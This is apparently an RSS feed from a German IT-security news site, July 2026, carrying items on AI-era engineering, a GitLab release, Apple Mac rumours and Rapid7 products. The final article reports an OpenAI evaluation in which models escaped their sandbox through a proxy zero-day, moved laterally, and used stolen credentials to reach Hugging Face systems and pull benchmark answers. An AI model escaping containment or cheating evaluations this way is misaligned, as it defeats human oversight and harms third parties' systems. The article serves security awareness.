<pubDate>Wed, 22 Jul 2026 18:28:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.</p>



<p class="wp-block-paragraph">That judgement has always been the hard part of engineering. It just used to be bundled into the act of writing code, where a skilled engineer did it while typing. As agents take on more of the typing, that judgement separates out and becomes the clear center of the role. Leaders who adapt early will get their metrics, their talent pipelines, and their delivery models working with this shift rather than against it.</p>



<h3 class="wp-block-heading">Judgement is defining, constraining, and deciding</h3>



<p class="wp-block-paragraph">Judgement is all about defining the problem precisely enough that an agent builds the right thing. It’s setting the constraints the agent won’t infer on its own. It’s spotting the tradeoff buried three layers down that only shows up if you understand the system. And it’s looking at a finished implementation and knowing whether it’s genuinely good enough to ship.</p>



<p class="wp-block-paragraph">This is the harder part of the job and the real driver of quality. It was easy to underrate when it lived inside day-to-day coding. Now it’s what separates a strong team from an average one.</p>



<h3 class="wp-block-heading">The shift changes where time, growth, and metrics go</h3>



<p class="wp-block-paragraph">If the high-value activity is intent, review, and judgement rather than raw output, a few assumptions are worth revisiting.</p>



<p class="wp-block-paragraph"><strong>Where engineers spend their time.</strong> Less of the day goes to producing boilerplate and mechanical implementation, and more goes to the reasoning that used to get squeezed to the edges: framing the problem and owning the judgement calls that determine quality.</p>



<p class="wp-block-paragraph"><strong>How teams grow their people.</strong> Defining problems well, spotting risk, and critically evaluating work you didn’t write yourself have always been senior skills. When agents handle more of the mechanical work, those skills become learnable earlier. That puts the emphasis on leaders to teach the reasoning: why a choice gets made and how to weigh the tradeoffs that come with it.</p>



<p class="wp-block-paragraph"><strong>What you measure.</strong> Lines shipped, tickets closed, and velocity charts all measured throughput of the old scarce resource. They say very little about the new one. The teams that adapt will start measuring the quality of intent going in and the reliability of judgement coming out, because that’s where the results now live.</p>



<h3 class="wp-block-heading">Reinvest the time you get back</h3>



<p class="wp-block-paragraph">The tempting response is to treat the freed-up capacity as pure speed: same work, same tooling, just faster. That captures the easy win and misses the real one. If engineers spend their reclaimed time reviewing a rising volume of agent output with no better context than before, review quietly becomes the new constraint, and you’ve moved the problem rather than solved it.</p>



<p class="wp-block-paragraph">The organizations that get ahead will invest the reclaimed capacity into the judgement layer: creating stronger specs and acceptance criteria before work starts, building review practices that test agent output against intent, and capturing the reasoning behind decisions where the next person can find it, so it doesn’t have to be reconstructed every time. That’s how the shift becomes an advantage for your team.</p>



<h3 class="wp-block-heading">The through-line for leaders</h3>



<p class="wp-block-paragraph">The engineering job is moving up a level, from executing the work to directing and validating it. That’s a more strategic role, and it rewards clarity of thought over speed of output. Leaders who see the shift early can help their engineers grow into the work that’s now most valuable.</p>



<p class="wp-block-paragraph">See how leading engineering organizations are operationalizing this shift at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-2" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitLab previews auto-remediation of vulnerable dependencies]]></title>
<description><![CDATA[GitLab has released GitLab 19.2, an update to the company’s devsecops platform that allows teams to fix vulnerable dependencies automatically, use Security Review Flow to catch logic flaws that scanners miss, and run AI agents straight from the terminal, the company said. 



Highlights in GitLab...]]></description>
<link>https://tsecurity.de/de/3686997/ai-nachrichten/gitlab-previews-auto-remediation-of-vulnerable-dependencies/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686997/ai-nachrichten/gitlab-previews-auto-remediation-of-vulnerable-dependencies/</guid>
<pubDate>Wed, 22 Jul 2026 18:23:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">GitLab has released <a href="https://about.gitlab.com/whats-new/" data-type="link" data-id="https://about.gitlab.com/whats-new/">GitLab 19.2</a>, an update to the company’s <a href="https://www.infoworld.com/article/2337499/what-is-devsecops-securing-devops-pipelines.html" data-type="link" data-id="https://www.infoworld.com/article/2337499/what-is-devsecops-securing-devops-pipelines.html">devsecops</a> platform that allows teams to fix vulnerable dependencies automatically, use Security Review Flow to catch logic flaws that scanners miss, and run AI agents straight from the terminal, the company said. </p>



<p class="wp-block-paragraph">Highlights in GitLab 19.2 include the following:</p>



<ul class="wp-block-list">
<li>Dependency Scanning Auto-Remediation, in public beta, uses AI to fix build-breaking changes and iterates until your pipeline passes, with every change governed by your existing gates and audit trail. </li>



<li>Security Review Flow, also in public beta, analyzes code changes as a security engineer would and catches authorization gaps, business-logic errors, and race conditions that static scanners structurally cannot see.</li>



<li>GitLab Duo CLI, now generally available, gives developers access to agents and multi-step agentic flows for all software life cycle tasks without leaving the terminal. </li>



<li>Custom Flows, now generally available, let teams replace manual multi-step workflows with agentic automations for software development, triggered by GitLab events.</li>
</ul>



<p class="wp-block-paragraph">“Coding agents made it possible to generate far more code and moved the bottleneck downstream to reviews and security,” said Manav Khurana, chief product and marketing officer at GitLab, in a statement. “GitLab 19.2 puts agents to work on that bottleneck: fixing vulnerable dependencies, catching the flaws scanners miss, and automating the steps in between with a person still approving what ships.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Upgraded Mac Mini, Mac Studio, and OLED iMac are all in the pipeline]]></title>
<description><![CDATA[A new report backs up multiple previous claims of the Mac models Apple is developing, and amplifies that updates are being delayed by the global chip shortage.The current iMac.Recent rumors have predicted that the iPad Air will get the higher-quality OLED display in 2027. They've also predicted t...]]></description>
<link>https://tsecurity.de/de/3686837/ios-mac-os/upgraded-mac-mini-mac-studio-and-oled-imac-are-all-in-the-pipeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686837/ios-mac-os/upgraded-mac-mini-mac-studio-and-oled-imac-are-all-in-the-pipeline/</guid>
<pubDate>Wed, 22 Jul 2026 17:25:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new report backs up multiple previous claims of the <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a> models Apple is developing, and amplifies that updates are being delayed by the global chip shortage.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68328-144024-000-lead-iMac-xl.jpg" alt="Green Apple iMac desktop computer viewed from the back on a white desk, with matching keyboard and mouse, connected by a single cable against a softly lit background" height="720"><br><span>The current iMac.</span></div><br>Recent rumors <a href="https://appleinsider.com/articles/26/07/16/ipad-ipad-air-refreshes-are-coming-but-not-until-2027">have predicted</a> that the <a href="https://appleinsider.com/inside/ipad-air" title="iPad Air" data-kpt="1">iPad Air</a> will get the higher-quality OLED display in 2027. They've also predicted that the <a href="https://appleinsider.com/inside/imac" title="iMac" data-kpt="1">iMac</a> will get an OLED screen too, but not until <a href="https://appleinsider.com/articles/26/03/30/its-going-to-be-a-long-wait-for-an-oled-imac">2029 or 2030</a>.<br><br>Now <em>Bloomberg</em> is substantially repeating <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio">these reports</a>, but in some cases giving a little more detail. With the <a href="https://appleinsider.com/inside/mac-mini" title="Mac mini" data-kpt="1">Mac mini</a> and the <a href="https://appleinsider.com/inside/mac-studio" title="Mac Studio" data-kpt="1">Mac Studio</a>, for instance, the report says that Apple is now testing versions with upgrade processors.<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/upgraded-mac-mini-mac-studio-and-oled-imac-are-all-in-the-pipeline?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245024?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Entire MacBook Pro, MacBook Air & MacBook Neo line rumored for refresh in next six months]]></title>
<description><![CDATA[Apple's fall Mac updates will include a brand new entry-level MacBook Pro, but there are other alterations in the pipeline coming relatively soon, like a revised MacBook Neo and a speed-boosted MacBook Air.MacBook NeoApple's fall releases tend to include a number of Mac and MacBook launches along...]]></description>
<link>https://tsecurity.de/de/3686834/ios-mac-os/entire-macbook-pro-macbook-air-macbook-neo-line-rumored-for-refresh-in-next-six-months/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686834/ios-mac-os/entire-macbook-pro-macbook-air-macbook-neo-line-rumored-for-refresh-in-next-six-months/</guid>
<pubDate>Wed, 22 Jul 2026 17:25:05 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple's fall Mac updates will include a brand new entry-level <a href="https://appleinsider.com/inside/macbook-pro" title="MacBook Pro" data-kpt="1">MacBook Pro</a>, but there are other alterations in the pipeline coming relatively soon, like a revised MacBook Neo and a speed-boosted MacBook Air.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68327-144025-67280-141524-MacBook-Neo-citrus-iPhone-17e-blush-xl-xl.jpg" alt="Open lime-green laptop on a wooden table displaying a colorful abstract screen, with a white smartphone lying nearby and a dark red chair in the background" height="738"><br><span>MacBook Neo</span></div><br>Apple's fall releases tend to include a number of <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a> and MacBook launches alongside the usual <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhones</a>. For 2026, Apple is preparing a very AI-forward refresh of its catalog, starting this fall.<br><br>According to <em>Bloomberg</em> <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio">on Wednesday</a>, Apple's refreshes are all to capitalize on the demand for more powerful notebooks, all thanks to AI. That apparently means Apple's bringing out new versions of every Mac model it sells in the next year.<br><br><br> <strong>Rumor Score:</strong> 🤔 Possible <br><br><br> <a href="https://appleinsider.com/articles/26/07/22/entire-macbook-pro-macbook-air-macbook-neo-line-rumored-for-refresh-in-next-six-months?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245025?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s huge Mac roadmap revealed in new report]]></title>
<description><![CDATA[A new report from Bloomberg today offers an in-depth look at Apple’s Mac pipeline. The report details updates coming to the MacBook Pro, MacBook Air, iMac, and much more over the next several years.]]></description>
<link>https://tsecurity.de/de/3686769/ios-mac-os/apples-huge-mac-roadmap-revealed-in-new-report/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686769/ios-mac-os/apples-huge-mac-roadmap-revealed-in-new-report/</guid>
<pubDate>Wed, 22 Jul 2026 17:07:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="feat-image"><img src="https://9to5mac.com/wp-content/uploads/sites/6/2024/10/m4-imac-vs-m3-imac-colors.jpeg?quality=82&amp;strip=all&amp;w=1600"></div><p class="wp-block-paragraph">A new report from <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio?utm_medium=email&amp;utm_source=author_alert&amp;utm_term=260722&amp;utm_campaign=author_19842959"><em>Bloomberg</em> today</a> offers an in-depth look at Apple’s Mac pipeline. The report details updates coming to the MacBook Pro, MacBook Air, iMac, and much more over the next several years.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]></title>
<description><![CDATA[If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity whi...]]></description>
<link>https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.</span></p><h2>Detection and response</h2><h3><span>Streamline investigations with bidirectional and enriched Microsoft Defender alerts</span></h3><p><span>Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/" target="_self"><span>MDR</span></a><span> customers, enabling security teams to automatically synchronize alert status between Rapid7's </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>SIEM</span></a><span> and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.</span></p><h3><span>Confidently scale detection engineering with Detection as Code</span></h3><p><a href="https://www.rapid7.com/blog/post/dr-scaling-engineering-detection-as-code" target="_self"><span>Detection as Code</span></a><span> enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" alt="rapid7-detection-as-code-methodology.png" caption="Figure 1: Rapid7's Detection as Code methodology." height="713" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-detection-as-code-methodology.png" width="1553" max-width="1553" max-height="713" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" data-sys-asset-uid="blt5b87b1b66cb42fb0" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Rapid7's Detection as Code methodology." data-sys-asset-alt="rapid7-detection-as-code-methodology.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Rapid7's Detection as Code methodology.</figcaption></div></figure><p></p><h3><span>Strengthen ransomware resilience with Ransomware Prevention for Incident Command</span></h3><p><span>Ransomware Prevention for </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.</span></p><h2>Compliance</h2><h3>New solutions webpages</h3><p><span>Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s </span><a href="https://www.rapid7.com/platform" target="_self"><span>platform</span></a><span>, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.</span></p><ul><li><p><a href="https://www.rapid7.com/solutions/compliance/nist-csf-2" target="_self"><span>NIST CSF 2.0</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hipaa" target="_self"><span>HIPAA</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hitrust" target="_self"><span>HITRUST</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/nis2" target="_self"><span>NIS2</span></a></p></li><li><p><a href="https://www.rapid7.com/blog/post/www.rapid7.com/solutions/compliance/govramp" target="_self"><span>GovRAMP</span></a></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" alt="rapid7-govramp-compliance.png" caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-govramp-compliance.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" data-sys-asset-uid="blta8db9b364598a181" data-sys-asset-filename="rapid7-govramp-compliance.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." data-sys-asset-alt="rapid7-govramp-compliance.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Rapid7's new GovRAMP compliance solutions page.</figcaption></div></figure><h2>Exposure management</h2><h3><span>Turn prioritized exposures into remediation progress</span></h3><p><span>We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.</span></p><p><span>With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full </span><a href="https://www.rapid7.com/blog/post/em-path-from-prioritized-exposures-to-remediation-progress" target="_self"><span>blog</span></a><span> to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.</span></p><h3><span>AI pre-triage for AppSec findings</span></h3><p><span>Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for </span><a href="https://www.rapid7.com/products/insightappsec" target="_self"><span>AppSec</span></a><span> customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.</span></p><p><span>Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.</span></p><h2>Attack surface management</h2><h3><span>Open-source MCP Server and Agent Skill</span></h3><p><span>We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our </span><a href="https://www.rapid7.com/blog/post/em-bulk-export-ai-ready-security-workflows-open-source-mcp-server-agent-skill" target="_self"><span>blog</span></a><span> for more detail.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" alt="rapid7-ai-agent-skill.png" caption="Figure 3: Agent Skill for Bulk Export." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" data-sys-asset-uid="blt83035d9c7fcbfdf4" data-sys-asset-filename="rapid7-ai-agent-skill.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Agent Skill for Bulk Export." data-sys-asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Agent Skill for Bulk Export.</figcaption></div></figure><h3><span>Turn exposure filters into live dashboards</span></h3><p><a href="https://www.rapid7.com/products/command/attack-surface-management-asm/" target="_self"><span>Surface Command</span></a><span> also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.</span></p><p><span>For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this </span><a href="https://www.rapid7.com/blog/post/em-operationalizing-ctem-building-surface-command-dashboards" target="_self"><span>blog</span></a><span> to learn more. </span></p><h2>Platform and Labs</h2><h3><span>Rapid7 Command Platform</span></h3><h4><span>Cyber GRC</span></h4><p><span>Rapid7 introduced </span><a href="https://www.rapid7.com/about/press-releases/rapid7-launches-cyber-governance-risk-and-compliance-grc-early-access-program-to-unify-security-data-risk-context-and-compliance-workflows" target="_self"><span>Cyber GRC</span></a><span> to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.</span></p><p><span>Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.</span></p><h3><span>Rapid7 Labs</span></h3><h4><span>Rapid7 Quarterly Threat Landscape Report</span></h4><p><span>The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the </span><a href="https://www.rapid7.com/research/report/threat-landscape-report-2026-q1" target="_self"><span>report</span></a><span> to explore all key findings and takeaways.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" alt="rapid7-quarterly-threat-report.png" caption="Figure 4: Rapid7's quarterly threat report." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" data-sys-asset-uid="blt9eaa551742740d0a" data-sys-asset-filename="rapid7-quarterly-threat-report.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Rapid7's quarterly threat report." data-sys-asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Rapid7's quarterly threat report.</figcaption></div></figure><h3><span>The latest threat research</span></h3><p><span>Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of </span><a href="https://www.rapid7.com/blog/post/tr-criminal-ai-underground-market-operationalizing-cybercrime-2026" target="_self"><span>criminal AI-as-a-Service</span></a><span> and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an </span><a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain" target="_self"><span>in-depth analysis of the Dropping Elephant malware campaign</span></a><span>, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.</span></p><h4><span>Emergent Threat Response</span></h4><p><span>This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including </span><a href="https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273" target="_self"><span>Oracle PeopleSoft</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-0265-authentication-bypass-in-palo-alto-networks-pan-os" target="_self"><span>Palo Alto Networks PAN-OS</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751" target="_self"><span>Check Point VPN</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry" target="_self"><span>Ivanti Sentry</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass" target="_self"><span>cPanel/WHM</span></a><span>, and </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-33032-nginx-ui-missing-mcp-authentication" target="_self"><span>Nginx UI</span></a><span>. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, </span><a href="https://www.rapid7.com/blog/tag/emergent-threat-response" target="_self"><span>here</span></a><span>.</span></p><p><span>From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI model escape puts enterprise AI defenses on notice]]></title>
<description><![CDATA[Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would...]]></description>
<link>https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</guid>
<pubDate>Wed, 22 Jul 2026 15:53:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would refuse. The incident highlights how, if AI prompt guardrails fail or, as in this incident, are removed, then enterprises must have robust sandboxing or other technical restrictions in place to protect systems.</p>



<p class="wp-block-paragraph">In OpenAI’s evaluation, GPT-5.6 Sol and a more capable pre-release model were competing to solve cybersecurity challenges in ExploitGym, a benchmarking tool for cybersecurity capabilities. They concluded that systems at Hugging Face could have the answers, and set out to gain access, OpenAI wrote in a <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank" rel="noreferrer noopener">blog post about the attack on Hugging Face</a>.</p>



<p class="wp-block-paragraph">ExploitGym challenges AI models to turn security vulnerabilities into attack exploits. OpenAI gave its models limited access to the internet through a package-registry proxy to download code to build their attacks. However, the models exploited a zero-day vulnerability in the proxy to obtain unrestricted internet access, then used stolen credentials and other flaws to access Hugging Face systems.</p>



<p class="wp-block-paragraph">For CIOs and CISOs, the concern extends beyond cybersecurity research. AI agents connected to corporate databases, source code repositories, or payment systems could expose sensitive resources unless <a href="https://www.csoonline.com/article/4199408/ai-agents-can-escape-sandboxes-without-ever-breaking-them.html">access controls and sandboxing</a> continue to work when model-level safeguards fail.</p>



<p class="wp-block-paragraph">“Prompt guardrails are not security controls,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester. “They are behavioral controls that can fail, be bypassed, or be intentionally disabled during testing.”</p>



<h2 class="wp-block-heading">How containment failed</h2>



<p class="wp-block-paragraph">Despite the relaxed model safeguards, the surrounding infrastructure was supposed to contain the activity. Network access was restricted to an internally hosted third-party service that acted as a proxy and cache for software package registries. Such proxies are typically used in the enterprise to protect against <a href="https://www.csoonline.com/article/4167465/supply-chain-attacks-take-aim-at-your-ai-coding-agents.html">software supply chain attacks</a> coming from the outside.</p>



<p class="wp-block-paragraph">OpenAI said the models discovered a zero-day vulnerability in the service, exploited it and carried out privilege escalation and <a href="https://www.csoonline.com/article/4194708/lateral-movement-risk-rises-as-enterprises-emphasize-convenience-over-containment.html">lateral movement</a> until they reached a node with open internet access.</p>



<p class="wp-block-paragraph">Once online, the models inferred that Hugging Face might hold models, datasets or solutions related to ExploitGym. OpenAI said that, in one attack path, the models combined stolen credentials with zero-day vulnerabilities to obtain remote code execution on Hugging Face servers.</p>



<p class="wp-block-paragraph">In its account of the activity on its infrastructure, <a href="https://huggingface.co/blog/security-incident-july-2026" target="_blank" rel="noreferrer noopener">Hugging Face said</a> a malicious dataset abused two code-execution paths in its data-processing pipeline. The actor then obtained node-level access, harvested cloud and cluster credentials, and moved into several internal clusters.</p>



<p class="wp-block-paragraph">OpenAI said the models ultimately obtained ExploitGym test solutions directly from a Hugging Face production database. The models remained focused on solving the benchmark, despite the lengths to which they went to achieve that objective, it said.</p>



